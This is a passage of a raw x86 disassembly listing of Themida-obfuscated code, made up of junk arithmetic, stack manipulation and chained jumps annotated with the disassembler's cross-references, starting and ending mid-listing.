jmp loc_55202A
; ---------------------------------------------------------------------------
loc_551310: ; CODE XREF: Themida_:00559C7Dj
pop eax
add bl, 0C2h
sub bl, 0A6h
push dx
mov dh, 0B9h
xor bl, dh
jmp loc_55B397
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_551322: ; CODE XREF: sub_556A70-4827j
sub ebp, 619576A8h
shl ebp, 2
not ebp
sub ebp, 8D9CD3DFh
mov eax, ebp
pop ebp
dec eax
jmp loc_558216
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_558D0E
loc_55133C: ; CODE XREF: sub_558D0E+3DF9j
mov ebx, 4F6B28D8h
jmp loc_552FC6
; END OF FUNCTION CHUNK FOR sub_558D0E
; ---------------------------------------------------------------------------
loc_551346: ; CODE XREF: Themida_:00553423j
add ecx, ebp
pop ebp
add ecx, 2
xor ecx, [esp]
jmp loc_554C0F
; ---------------------------------------------------------------------------
push esi
push esp
pop esi
push ebp
mov ebp, 37294385h
add ebp, 281D34ACh
add ebp, 0A0B987D3h
jmp loc_5515CF
; ---------------------------------------------------------------------------
loc_55136E: ; CODE XREF: Themida_:0055CBE4j
push esi
jmp loc_5524C1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5539DB
loc_551374: ; CODE XREF: sub_5539DB+6DBAj
xchg edi, [esp+0Ch+var_C]
pop edi
sub esp, 4
jmp loc_55CB36
; END OF FUNCTION CHUNK FOR sub_5539DB
; ---------------------------------------------------------------------------
loc_551383: ; CODE XREF: Themida_:0055876Cj
mov dl, 31h
jmp loc_55BFAF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55138A: ; CODE XREF: sub_556A70+5CF2j
push cx
mov cl, 66h
xor ah, cl
jmp loc_55ADD4
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_551395: ; CODE XREF: Themida_:0055A2E1j
push edx
jmp loc_55C79A
; ---------------------------------------------------------------------------
loc_55139B: ; CODE XREF: Themida_:0055A6BEj
xchg eax, [esp]
jmp loc_557CD7
; ---------------------------------------------------------------------------
loc_5513A3: ; CODE XREF: Themida_:005594D0j
push 34D6h
mov [esp], ebx
push ebp
mov ebp, 2
mov ebx, ebp
jmp loc_555359
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_5513B8: ; CODE XREF: sub_556A70+61Fj
pop eax
push eax
mov eax, 2
add ecx, 5E99510Fh
sub ecx, eax
sub ecx, 5E99510Fh
jmp loc_5544F6
; ---------------------------------------------------------------------------
loc_5513D2: ; CODE XREF: sub_556A70-1916j
push eax
mov eax, esp
add eax, 4
add eax, 4
jmp loc_556F60
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_5513E2: ; CODE XREF: Themida_:00553B40j
sub ecx, 4
push ecx
jmp loc_55B1E1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_5513EB: ; CODE XREF: sub_556A70-3EA3j
mov ch, 4Fh
jmp loc_55A9E2
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5567EA
loc_5513F2: ; CODE XREF: sub_5567EA+4EE1j
shr edx, 7
add edx, 27C74D17h
and edx, 77BB7DC5h
xor edx, 392C065Ah
push ecx
mov ecx, 49CD081Eh
neg ecx
and ecx, 2CA83119h
add ecx, 18445E43h
and ecx, 293F0B85h
jmp loc_552D8D
; END OF FUNCTION CHUNK FOR sub_5567EA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5584F8
loc_551426: ; CODE XREF: sub_5584F8+2EC8j
add esi, 4
jmp loc_55B43B
; END OF FUNCTION CHUNK FOR sub_5584F8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_551431: ; CODE XREF: sub_556A70+E09j
xchg esi, [esp-14h+arg_10]
pop esp
jmp loc_553395
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_55143A: ; CODE XREF: Themida_:00555894j
add dword ptr [esp+4], 1B290341h
pop esi
sub esp, 4
mov [esp], eax
mov eax, 32A428EFh
sub [esp+4], eax
pop eax
jmp loc_55751C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55145B: ; CODE XREF: sub_556A70-C18j
sub bx, ax
sub esp, 2
mov word ptr [esp-14h+arg_10], si
jmp loc_5566A8
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_55146D: ; CODE XREF: Themida_:00559DFEj
push ecx
mov ecx, 4
jmp loc_5531CD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_551478: ; CODE XREF: sub_556A70+3A6Bj
push edx
push ebp
mov ebp, 0
mov edx, ebp
jmp loc_554359
; ---------------------------------------------------------------------------
loc_551486: ; CODE XREF: sub_556A70+47D7j
mov [esp-0Ch+arg_8], edx
mov edx, 2F9F4463h
xor edx, 483F3FF9h
add edx, 14685381h
sub edx, 1D6F54C4h
push eax
push 69Fh
mov [esp-4+arg_0], ebx
mov ebx, 378B7EA4h
mov eax, ebx
mov ebx, [esp-4+arg_0]
push edx
mov edx, esp
jmp loc_552D4C
; ---------------------------------------------------------------------------
loc_5514BB: ; CODE XREF: sub_556A70-5C5Aj
mov esp, [esp-8+arg_4]
push 7ECBh
mov [esp-4+arg_0], eax
jmp loc_550A46
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_5514CB: ; CODE XREF: Themida_:00552D18j
pop cx
jmp loc_5545CE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_5514D2: ; CODE XREF: sub_556A70-261Cj
xor ebp, 247C0B0Eh
dec ebp
and ebp, 56803F1Dh
jmp loc_551055
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_5514E4: ; CODE XREF: Themida_:005533E5j
shr edx, 4
jmp loc_5579D2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_5514EC: ; CODE XREF: sub_556A70-18D6j
mov edi, [esp-4+arg_0]
jmp loc_551608
; ---------------------------------------------------------------------------
loc_5514F4: ; CODE XREF: sub_556A70+ECFj
pop edx
jmp loc_55BB74
; ---------------------------------------------------------------------------
loc_5514FA: ; CODE XREF: sub_556A70+4188j
xor edx, [esp-8+arg_4]
mov esp, [esp-8+arg_4]
or ebx, ebx
jnz loc_552EFC
push eax
push ebp
mov ebp, 654823CEh
inc ebp
neg ebp
push eax
mov eax, 654823EFh
sub ebp, 7D503D14h
jmp loc_552440
; ---------------------------------------------------------------------------
loc_551523: ; CODE XREF: sub_556A70+28C0j
mov esp, [esp+4+var_4]
mov [esp+4+var_4], ecx
mov ch, 45h
jmp loc_55886D
; ---------------------------------------------------------------------------
loc_551530: ; CODE XREF: sub_556A70+4845j
add edx, ebx
pop ebx
add edx, 4
xchg edx, [esp+0]
pop esp
movzx ax, byte ptr [eax]
push small 3476h
mov [esp+0], ax
jmp loc_550A46
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
mov ax, [esp]
sub esp, 4
mov [esp], edx
mov edx, esp
add edx, 4
sub esp, 4
jmp loc_5551CE
; ---------------------------------------------------------------------------
loc_551565: ; CODE XREF: Themida_:00559A35j
jmp loc_550A46
; ---------------------------------------------------------------------------
loc_55156A: ; CODE XREF: Themida_:00557DADj
xor dh, 0A8h
sub al, dh
pop edx
add al, bl
push dx
mov dh, 24h
add al, dh
pop dx
push ebx
push cx
jmp loc_552D7F
; ---------------------------------------------------------------------------
loc_551582: ; CODE XREF: Themida_:00553D2Ej
neg eax
add eax, 42E0FD54h
xor edx, eax
mov eax, [esp]
jmp loc_55A20A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_551593: ; CODE XREF: sub_556A70+C4Aj
add esp, 4
add ecx, 4
jmp loc_550DAA
; ---------------------------------------------------------------------------
loc_5515A1: ; CODE XREF: sub_556A70+879j
add esi, 3D1F1CF8h
sub esi, 4ED6C1D8h
jmp loc_555AA1
; ---------------------------------------------------------------------------
loc_5515B2: ; CODE XREF: sub_556A70-5B6Dj
mov ecx, [esp+8+var_8]
add esp, 4
inc ecx
jmp sub_55AA5F
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_5515BE: ; CODE XREF: Themida_:00555F4Cj
shl ecx, 7
push ebp
mov ebp, 6C3F1468h
shl ebp, 1
inc ebp
jmp loc_558446
; ---------------------------------------------------------------------------
loc_5515CF: ; CODE XREF: Themida_:00551369j
add esi, ebp
jmp loc_5512DB
; ---------------------------------------------------------------------------
loc_5515D6: ; CODE XREF: Themida_:0055A89Fj
add ebx, 677FEE04h
sub ecx, 5BEB3264h
add ecx, ebx
add ecx, 5BEB3264h
jmp loc_552CE0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_5515EF: ; CODE XREF: sub_556A70+5BDAj
add ebx, 60004B9Fh
add ebx, eax
push edi
push esi
mov esi, 79B57340h
push 0D9B5BEDFh
jmp loc_55A936
; ---------------------------------------------------------------------------
loc_551608: ; CODE XREF: sub_556A70-5581j
add esp, 4
inc edx
xor edx, 0E2C41616h
jmp loc_55468C
; ---------------------------------------------------------------------------
loc_55161A: ; CODE XREF: sub_556A70+E7Cj
mov ebx, 2AF860FAh
shl ebx, 8
xor ebx, 0F860FA04h
jmp loc_55AC3E
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_55162D: ; CODE XREF: Themida_:0055A5BAj
add esi, 4
jmp loc_55A663
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_551638: ; CODE XREF: sub_556A70-257Fj
mov eax, [esp-8+arg_4]
push eax
jmp loc_55AC7B
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5547A1
loc_551641: ; CODE XREF: sub_5547A1+17j
pop ebx
jmp loc_5530A6
; END OF FUNCTION CHUNK FOR sub_5547A1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_551647: ; CODE XREF: sub_556A70+22Dj
xor [esp-4+arg_0], ebx
xor ebx, [esp-4+arg_0]
pop esp
mul ecx
push ebp
push esp
pop ebp
push edi
mov edi, 28EC7D6Eh
inc edi
shr edi, 6
jmp loc_55BD1E
; ---------------------------------------------------------------------------
loc_551662: ; CODE XREF: sub_556A70+2020j
jmp loc_550A46
; ---------------------------------------------------------------------------
loc_551667: ; CODE XREF: sub_556A70-D5Cj
pop esp
push ebp
mov ebp, esp
push esi
mov esi, 4
add ebp, esi
pop esi
jmp loc_554248
; ---------------------------------------------------------------------------
loc_551679: ; CODE XREF: sub_556A70+113j
mov edi, 67945F38h
push edi
not [esp+4+var_4]
pop edi
jmp loc_5522ED
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_551688: ; CODE XREF: Themida_:0055616Fj
mov bh, 0E9h
mov dh, bh
pop ebx
neg dh
jmp loc_5591C6
; ---------------------------------------------------------------------------
loc_551694: ; CODE XREF: Themida_:005595E7j
push edx
mov edx, 7EED101Ch
jmp loc_555137
; ---------------------------------------------------------------------------
loc_55169F: ; CODE XREF: Themida_:00553F6Cj
mov bh, 0A1h
jmp loc_557971
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5566B9
loc_5516A6: ; CODE XREF: sub_5566B9+27F4j
add ecx, 70850C20h
jmp loc_5535E8
; END OF FUNCTION CHUNK FOR sub_5566B9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_555B85
loc_5516B1: ; CODE XREF: sub_555B85+498Dj
neg ebp
jmp loc_5511DD
; END OF FUNCTION CHUNK FOR sub_555B85
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_5516B8: ; CODE XREF: sub_556A70-1416j
and al, cl
mov ecx, [esp+0]
push 7A59h
mov [esp+4+var_4], eax
mov eax, esp
add eax, 4
push edx
jmp loc_5595EC
; ---------------------------------------------------------------------------
loc_5516D2: ; CODE XREF: sub_556A70+5793j
mov [esp+8+var_8], ecx
mov ecx, 53F233DFh
add eax, ecx
pop ecx
sub eax, 4C5D7149h
add eax, edi
add eax, 4C5D7149h
jmp loc_55739D
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_5516EE: ; CODE XREF: Themida_:00558E71j
pop eax
push esi
push esp
pop esi
push ecx
jmp loc_558D71
; =============== S U B R O U T I N E =======================================
sub_5516F8 proc near ; CODE XREF: sub_556A70+18DEj
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00550C3B SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00552226 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 00552501 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00555233 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 005561D2 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00558C18 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00558EDD SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0055A204 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0055AFE2 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0055BFFE SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0055C028 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0055C7A5 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0055C7FE SIZE 00000007 BYTES
push ebx
mov ebx, 786089Bh
sub ebx, 0BED5E0Bh
neg ebx
jmp loc_55C7A5
sub_5516F8 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_551E74
loc_55170B: ; CODE XREF: sub_551E74+8j
pop ebp
jmp loc_5548B7
; END OF FUNCTION CHUNK FOR sub_551E74
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_551711: ; CODE XREF: sub_556A70+1E7j
mov edi, esp
jmp sub_5519E5
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_551718: ; CODE XREF: Themida_:00551A51j
add esi, 4
sub esi, 4
xchg esi, [esp]
jmp loc_553F68
; ---------------------------------------------------------------------------
loc_55172C: ; CODE XREF: Themida_:0055B62Cj
pop ecx
push esi
push dword ptr [esp+4]
mov esi, [esp]
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
mov [esp], eax
jmp loc_550A46
; ---------------------------------------------------------------------------
loc_551749: ; CODE XREF: Themida_:0055844Ej
pop ebp
add edi, ecx
pop ecx
add edi, 2
push edi
push dword ptr [esp+4]
pop edi
pop dword ptr [esp]
mov esp, [esp]
btr [esp], ax
pushf
jmp loc_550A46
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_551767: ; CODE XREF: sub_556A70-37B8j
add esp, 4
and eax, ebx
pop ebx
shr eax, 0Eh
xor eax, ecx
push eax
push edi
pop eax
pop edi
jmp loc_55A37E
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
mov sp, [esp]
jmp loc_550A46
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55A748
loc_551784: ; CODE XREF: sub_55A748-4ACBj
pop esp
mov ebx, [esp+0Ch+var_C]
jmp loc_556EAF
; END OF FUNCTION CHUNK FOR sub_55A748
; ---------------------------------------------------------------------------
loc_55178D: ; CODE XREF: Themida_:0055B9A8j
pop ax
add bl, cl
push dword ptr [esp]
jmp loc_55BF08
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_550BFD
loc_551799: ; CODE XREF: sub_550BFD+46A5j
pop ecx
add esp, 4
sub edx, 76D8687Dh
add edx, eax
add edx, 76D8687Dh
push ebp
mov ebp, 4E622216h
add edx, ebp
jmp loc_559DB4
; END OF FUNCTION CHUNK FOR sub_550BFD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_5517BB: ; CODE XREF: sub_556A70-4960j
add ebx, 4
push 5C48h
mov [esp+0], ebx
push [esp+arg_0]
pop ebx
pop dword ptr [esp+0]
mov esp, [esp-4+arg_0]
jmp loc_55B293
; ---------------------------------------------------------------------------
loc_5517D9: ; CODE XREF: sub_556A70+5527j
add eax, 4
push eax
push [esp+arg_0]
pop eax
jmp loc_5546F0
; ---------------------------------------------------------------------------
loc_5517E7: ; CODE XREF: sub_556A70+DCBj
mov esi, 3DCB1EE4h
not esi
push eax
mov eax, 3DCB1EE9h
add esi, eax
pop eax
jmp loc_55AF19
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_5517FC: ; CODE XREF: Themida_:005587AAj
add esi, 316A3248h
sub esi, ecx
sub esi, 316A3248h
push eax
mov eax, 14113DFDh
sub eax, 67F8707Eh
or eax, 68991FCEh
add eax, 5E330C00h
dec eax
push eax
not dword ptr [esp]
pop eax
add eax, 0B700596Bh
add esi, eax
jmp loc_55B62B
; ---------------------------------------------------------------------------
loc_551831: ; CODE XREF: Themida_:00554019j
pop edx
push edx
push eax
push dword ptr [esp+4]
pop eax
pop dword ptr [esp]
not eax
xchg eax, [esp]
pop edx
sub esp, 4
mov [esp], edi
mov edi, 2A5D50D7h
xchg esi, edi
dec esi
jmp loc_55C6CD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_551858: ; CODE XREF: sub_556A70+3FD7j
xchg edi, edx
jmp loc_5542EA
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_55185F: ; CODE XREF: Themida_:00558F53j
sub esp, 4
mov [esp], esi
jmp loc_55A6C3
; ---------------------------------------------------------------------------
loc_55186D: ; CODE XREF: Themida_:00558303j
add edx, ebp
add edx, 5E9414F1h
jmp loc_55C418
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55187A: ; CODE XREF: sub_556A70-37C7j
push 180Ah
mov [esp+4+var_4], eax
mov eax, esp
push 12A5h
mov [esp+8+var_8], esi
mov esi, 494B3B35h
neg esi
shl esi, 3
sub esp, 4
jmp loc_5522B3
; ---------------------------------------------------------------------------
loc_5518A1: ; CODE XREF: sub_556A70+5EC0j
push edi
mov edi, 747449DEh
add edi, 50977D6Dh
sub edi, 54AE6C0Bh
and edi, 3DBD167Bh
neg edi
jmp loc_555BE4
; ---------------------------------------------------------------------------
loc_5518C0: ; CODE XREF: sub_556A70-1B7j
sub ebx, 7DD26107h
jmp loc_555D62
; ---------------------------------------------------------------------------
loc_5518CB: ; CODE XREF: sub_556A70-2EC4j
xor edi, 0B119D4DCh
jmp loc_551ABD
; ---------------------------------------------------------------------------
loc_5518D6: ; CODE XREF: sub_556A70+A64j
pop edx
inc ebx
xor ebx, 0B91778A5h
or ebp, ebx
mov ebx, [esp+0Ch+var_C]
add esp, 4
or ebp, 94068FDh
add ebp, 3FDFAFDh
add ecx, 3D4D4B6Eh
sub ecx, ebp
sub ecx, 3D4D4B6Eh
pop ebp
and eax, ecx
jmp loc_558D2F
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_555903
loc_55190B: ; CODE XREF: sub_555903-1D80j
add esp, 4
or ecx, ecx
jz sub_55BDF1
push esi
mov esi, esp
jmp loc_554905
; END OF FUNCTION CHUNK FOR sub_555903
; ---------------------------------------------------------------------------
loc_551921: ; CODE XREF: Themida_:00554D2Ej
pop ecx
jmp loc_551E2A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_551927: ; CODE XREF: sub_556A70-317Dj
pop ebx
jmp loc_557044
; ---------------------------------------------------------------------------
loc_55192D: ; CODE XREF: sub_556A70-35Cj
inc ecx
not ecx
push ebp
mov ebp, 0D1C91A31h
sub ecx, ebp
pop ebp
sub edi, 4EEE1766h
jmp loc_55BE9D
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_551944: ; CODE XREF: Themida_:0055920Ej
add esi, 2
push esi
push dword ptr [esp+4]
jmp loc_552A88
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_551954: ; CODE XREF: sub_556A70-4013j
or eax, 9DF17ECh
xor eax, 1994CFC5h
add ecx, eax
pop eax
mov ebp, ecx
mov ecx, [esp-4+arg_0]
add esp, 4
sub edx, ebp
jmp loc_552963
; ---------------------------------------------------------------------------
loc_551973: ; CODE XREF: sub_556A70-40DDj
mov [esp-8+arg_4], esi
jmp sub_55227F
; ---------------------------------------------------------------------------
loc_55197B: ; CODE XREF: sub_556A70-112Ej
push edi
mov edi, 4
sub esi, edi
pop edi
xchg esi, [esp-8+arg_4]
jmp loc_55441F
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_55198C: ; CODE XREF: Themida_:0055948Cj
sub cl, 24h
add cl, 0BEh
sub cl, bl
jmp loc_55C23E
; ---------------------------------------------------------------------------
loc_551999: ; CODE XREF: Themida_:00557F36j
xor ch, 40h
xor al, ch
mov ecx, [esp]
jmp loc_55A7A4
; ---------------------------------------------------------------------------
loc_5519A6: ; CODE XREF: Themida_:0055BEDCj
mov esi, esp
push ebp
mov ebp, 3D340516h
xor ebp, 674F77AAh
shl ebp, 6
not ebp
xor ebp, 6BA12C88h
shr ebp, 6
neg ebp
jmp loc_5531A9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559F87
loc_5519C9: ; CODE XREF: sub_559F87-47D1j
push [esp+8+var_8]
pop edx
jmp loc_55CA0F
; END OF FUNCTION CHUNK FOR sub_559F87
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_5519D2: ; CODE XREF: sub_556A70+E56j
add esp, 4
pop [esp-0Ch+arg_8]
pop esp
test cx, ax
pushf
jmp loc_550A46
; END OF FUNCTION CHUNK FOR sub_556A70
; =============== S U B R O U T I N E =======================================
sub_5519E5 proc near ; CODE XREF: sub_556A70-535Dj
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0055C290 SIZE 00000006 BYTES
push ebp
mov ebp, 4
add edi, ebp
pop ebp
add edi, 4
push edi
push dword ptr [esp+4]
pop edi
pop [esp+4+var_4]
jmp loc_55C290
sub_5519E5 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_553657
loc_551A02: ; CODE XREF: sub_553657+Ej
add esp, 4
not eax
xor eax, 0F1063BB4h
push eax
mov edi, [esp+0]
add esp, 4
mov eax, [esp-4+arg_0]
add esp, 4
add eax, edi
mov edi, [esp-8+arg_4]
jmp loc_55BAFA
; END OF FUNCTION CHUNK FOR sub_553657
; ---------------------------------------------------------------------------
loc_551A26: ; CODE XREF: Themida_:0055843Bj
mov eax, [esp]
add esp, 4
jmp loc_55CD1E
; ---------------------------------------------------------------------------
loc_551A31: ; CODE XREF: Themida_:00552DC4j
add ebx, edx
mov edx, [esp]
push edi
jmp loc_5526A4
; ---------------------------------------------------------------------------
loc_551A3C: ; CODE XREF: Themida_:00555F06j
pop eax
jmp loc_555223
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_551A42: ; CODE XREF: sub_556A70+948j
mov dh, bl
jmp loc_558391
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
lodsb
add al, 0E5h
add al, bl
push esi
mov esi, esp
jmp loc_551718
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55515F
loc_551A56: ; CODE XREF: sub_55515F+12F3j
mov eax, 6E605079h
and eax, 6EA8416Dh
shr eax, 6
not eax
add eax, 55932C6Fh
xor eax, 23D90F32h
add eax, 0B65DB939h
sub ebx, eax
pop eax
jmp loc_55C626
; END OF FUNCTION CHUNK FOR sub_55515F
; ---------------------------------------------------------------------------
loc_551A7C: ; CODE XREF: Themida_:00550FA7j
add edx, 4
add edx, 4
xchg edx, [esp]
jmp loc_55422D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_551A8D: ; CODE XREF: sub_556A70+5C1j
mov ebp, [esp-10h+arg_C]
add esp, 4
push esi
mov esi, 4
add ebp, esi
pop esi
add ebp, 4
xchg ebp, [esp-14h+arg_10]
pop esp
shr eax, 12h
xor eax, ecx
push 6042h
mov [esp-14h+arg_10], eax
xchg eax, [esp-14h+arg_10]
push eax
not [esp-10h+arg_C]
pop eax
jmp loc_552812
; ---------------------------------------------------------------------------
loc_551ABD: ; CODE XREF: sub_556A70-519Fj
push edi
pop ecx
jmp loc_5559EE
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_551AC4: ; CODE XREF: Themida_:00554BACj
push esp
pop esi
add esi, 4
push edi
mov edi, 4
sub esi, edi
pop edi
xchg esi, [esp]
pop esp
mov [esp], edx
jmp loc_554AB2
; ---------------------------------------------------------------------------
loc_551AE1: ; CODE XREF: Themida_:0055C551j
dec esi
add esi, 0FFED77CDh
add ebx, esi
pop esi
push ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
pop esp
mov [esp], esi
mov esi, 199A7780h
jmp loc_55BB4A
; ---------------------------------------------------------------------------
loc_551B0E: ; CODE XREF: Themida_:005536CEj
add esp, 4
pop esi
push 575Ah
mov [esp], ebx
mov ebx, 4
sub esi, 26FB4E67h
add esi, ebx
jmp loc_55418A
; ---------------------------------------------------------------------------
loc_551B2F: ; CODE XREF: Themida_:00559453j
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
pop esp
cmp cx, ax
pushf
jmp loc_550A46
; =============== S U B R O U T I N E =======================================
sub_551B42 proc near ; CODE XREF: sub_556A70+295Cj
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
; FUNCTION CHUNK AT 0055297C SIZE 00000003 BYTES
; FUNCTION CHUNK AT 00554DAC SIZE 00000030 BYTES
; FUNCTION CHUNK AT 0055549E SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00558FFB SIZE 00000028 BYTES
sub esp, 4
mov [esp+4+var_4], edi
mov edi, 60104543h
sub esi, edi
pop edi
dec esi
or esi, 0EBE672Eh
dec esi
xor esi, 0E442C8Ch
sub edi, esi
jmp loc_554DAC
sub_551B42 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_551B68: ; CODE XREF: sub_556A70+559Bj
mov ecx, 4
sub [esp+10h+var_C], 2F1E61DFh
add [esp+10h+var_C], ecx
push ebx
mov ebx, 2F1E61DFh
add [esp+14h+var_C], ebx
pop ebx
pop ecx
pop ecx
add ecx, 4
sub esp, 4
jmp loc_553C31
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5584F8
loc_551B97: ; CODE XREF: sub_5584F8+B4j
sub ebx, 4
jmp loc_5591E0
; END OF FUNCTION CHUNK FOR sub_5584F8
; ---------------------------------------------------------------------------
loc_551B9F: ; CODE XREF: Themida_:00556615j
not dword ptr [esp]
push dword ptr [esp]
pop ecx
add esp, 4
shr ecx, 8
inc ecx
xor ecx, 7BE7483Ch
jmp loc_551D3E
; ---------------------------------------------------------------------------
loc_551BBB: ; CODE XREF: Themida_:0055A2E8j
add esi, 4
sub esi, 4
push esi
push dword ptr [esp+4]
pop esi
jmp loc_55AF6B
; ---------------------------------------------------------------------------
loc_551BCF: ; CODE XREF: Themida_:005533ECj
and esi, 2E6D36DCh
add esi, 5FE876B8h
sub esi, 453C3711h
add esi, 0B70B9C1Dh
add ebx, 62A719CAh
add ebx, esi
sub ebx, 62A719CAh
mov esi, [esp]
add esp, 4
push eax
mov eax, 4
add ebx, eax
pop eax
xchg ebx, [esp]
mov esp, [esp]
jmp loc_550A46
; ---------------------------------------------------------------------------
loc_551C0F: ; CODE XREF: Themida_:00555E4Dj
pop ebp
and edi, 39FB2FE4h
push edi
not dword ptr [esp]
mov edi, [esp]
add esp, 4
push ecx
jmp loc_559935
; ---------------------------------------------------------------------------
loc_551C29: ; CODE XREF: Themida_:00553138j
jmp loc_550A46
; ---------------------------------------------------------------------------
loc_551C2E: ; CODE XREF: Themida_:005597A8j
push ecx
jmp loc_551E20
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_551C34: ; CODE XREF: sub_556A70-3CF6j
mov ebp, ecx
pop ecx
jmp loc_55B108
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_551C3C: ; CODE XREF: Themida_:005530A1j
add dh, ch
jmp loc_5583CF
; ---------------------------------------------------------------------------
db 51h ; Q ; CODE XREF: Themida_:0055881Aj
db 0FFh
db 74h ; t
db 24h ; $
db 4
db 59h ; Y
db 8Fh ; ▐
db 4
db 24h ; $
db 0E9h ; И
db 16h
db 7Ch ; |
db 0
db 0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_551C51: ; CODE XREF: sub_556A70-43D1j
add edx, 4
push esi
mov esi, esp
add esi, 4
sub esi, 4
xchg esi, [esp+0Ch+var_C]
pop esp
mov [esp+8+var_8], ebp
push 6EACh
mov [esp+0Ch+var_C], esi
mov esi, 2C801B7Ch
